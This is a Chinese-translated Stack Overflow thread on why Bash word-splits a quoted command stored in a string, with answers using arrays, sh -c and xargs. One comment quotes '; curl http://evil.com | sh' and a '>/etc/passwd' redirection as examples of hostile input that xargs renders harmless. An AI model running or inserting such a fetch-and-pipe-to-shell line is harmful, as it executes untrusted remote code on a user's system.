【问题标题】:Bash tokenizing quoted string with spaces as individual wordsBash 将带空格的引号字符串标记为单个单词
【发布时间】:2014-10-03 21:18:36
【问题描述】:

我正在尝试执行以下命令:

mkdir 'my dir'
CMD="ls 'my dir'"
RESULT=$($CMD)

这会导致:

ls: 'my: No such file or directory
ls: dir': No such file or directory

在第二个命令之前使用“set -x”会显示实际发出的命令是:

++ ls ''\''my' 'dir'\'''

这显然是从我实际尝试做的事情中抽象出来的;此代码本身没有任何用途。但我的问题是,为什么 bash 会像这样标记带引号的字符串,我怎样才能让它停止?

【问题讨论】:

标签: bash


【解决方案1】:

(几乎)所有语言都区分代码和数据:

args="1, 2"
myfunc(args) != myfunc(1, 2)

在 bash 中也是如此。将单引号放在文字字符串中不会使 bash 解释它们。

存储程序名称和参数(也称为简单命令)的正确方法是使用数组:

cmd=(ls 'my dir')
result=$("${cmd[@]}")

除非您使用双引号,否则 Bash 会自动在空格上拆分单词,这就是您的示例有时会起作用的原因。这是令人惊讶且容易出错的,这也是为什么你应该总是双引号你的变量,除非你有充分的理由不这样做。

也可以使用eval 让 bash 将字符串解释为完全是 bash 代码。这经常被推荐,但几乎总是错误的。

【讨论】:

  • 你能想到一个符合 POSIX 的解决方案吗?
  • 这取决于问题的具体情况。您通常可以通过将代码存储在函数而不是字符串中来编写它,和/或使用参数,因为它们的行为类似于 bash 数组
  • 我正在尝试做后者,唯一阻止我的是这种自动引用。像这样:FIND_EXCLUDE_ARGS=$(echo "${EXCLUDE_LIST}" | sed -E 's/([^ \t]+)/-a ! -path \"\1\"/g'); find . ${FIND_EXCLUDE_ARGS}。现在我想起来了,我可以将or 移动到find -pathregex...哦等等,它不存在。也许find | grep -v 是解决方案。
  • 您不能添加引号并禁用通配符。更一般地说,这是使用位置参数构建命令的一个很好的用例
【解决方案2】:

要提供另一种方法——一种适用于 POSIX 系统的方法——xargs 可以为您执行此解析,只要您可以保证参数列表足够短,不会被拆分为多个单独的命令:

CMD="ls 'my dir'"
printf '%s\n' "$CMD" | xargs sh -c '"$@"' sh

请注意,要安全地执行此操作(针对故意生成超过最大 argv 长度以导致 xargs 将其拆分为多个命令的字符串的攻击者),您需要将 CMD 的第一个单词分解为成为已知/可信的东西,并且仅参数化以下参数。例如:

args="'my dir' 'other dir'"
printf '%s\n' "$args" | xargs sh -c 'ls "$@"' sh

...或者更简单,那时...

printf '%s\n' "$args" | xargs ls

【讨论】:

  • @VictorSergienko,你在这里 -- 一个不运行 eval 的符合 POSIX 的解决方案。
  • 确实很有趣,在man xargs 中读到它“从标准输入中读取由空格分隔的项目可以用双引号或单引号或反斜杠保护...”
  • @ErikMD, ...确实,通常这种行为是不受欢迎的/令人惊讶的,因此使用像 xargs -0xargs -d $'\n' 或类似的扩展来关闭它;但在这里,我们有一个实际有用的案例。
  • @ErikMD, ...主要优点是它使所有内容都成为文字,因此无法运行命令替换 &c 。如果您控制输入的ls 部分而不是'my dir',这可能很有用。 (类似地,>/etc/passwd 之类的重定向或; curl http://evil.com | sh 之类的命令分隔符将被视为ls 的一个或多个文字参数,而不是对 shell 的指令等;因此差异用作控制关于敌对输入可以做什么)。
  • ...请注意,这不是 完美 -- 有人可以传递足够多的参数以使 xargs 将其拆分为多个命令。为了更安全,人们会想要更像args="'my dir' 'my other dir'"; printf '%s\n' "$args" | xargs sh -c 'ls "$@"' sh
【解决方案3】:

解决方案 1:使用sh -c

mkdir 'my dir'
CMD="ls 'my dir'" # careful: your example was missing a '
RESULT=$(sh -c "$CMD")

解决方案 2:将 CMD 声明为数组

mkdir 'my dir'
CMD=(ls 'my dir') # array with 2 elements
RESULT=$("${CMD[@]}")

【讨论】:

  • -1:“解决方案 1”在道德上与使用 eval 完全相同,只是它不允许您更改父进程中的变量,具有子进程执行的所有开销,并且在该子命令执行期间,将 shell 从 bash 切换到本地安装的 POSIX sh 解释器。
  • 向上,因为这是(唯一?)符合 POSIX 标准的解决方案。有趣的是,@CharlesDuffy 的 bash FAQ 链接准确地说是“你不能这样做(没有数组,这是 bashism)”。 “eval 是邪恶的”并不总是答案。是的,它可以使用$SHELL 而不是sh
  • @VictorSergienko,如果 POSIX 合规性迫使您将数据解析为代码,您如何得出违反合规性是小恶的结论?我重视在可行的情况下按本书行事,但如果它引入了潜在的安全漏洞,那就不可行了。
  • 因为,特别是,有时是我的代码生成了数据。它甚至不完全是数据,它是我的代码的硬编码配置。一般来说,如果eval 总是邪恶的,它就不会存在。
  • @VictorSergienko,与 1970 年代相比,如今人们对什么是良好实践的了解更多,并且还在处理不同的信任约束(当您在每台机器以任何方式连接的网络上如果有任何网络,则归您的雇主或其附属实体所有)。
猜你喜欢
  • 2022-07-29
  • 1970-01-01
  • 2016-02-25
  • 2011-01-13
  • 2014-01-21
  • 1970-01-01
  • 2020-04-18
  • 1970-01-01
相关资源
最近更新 更多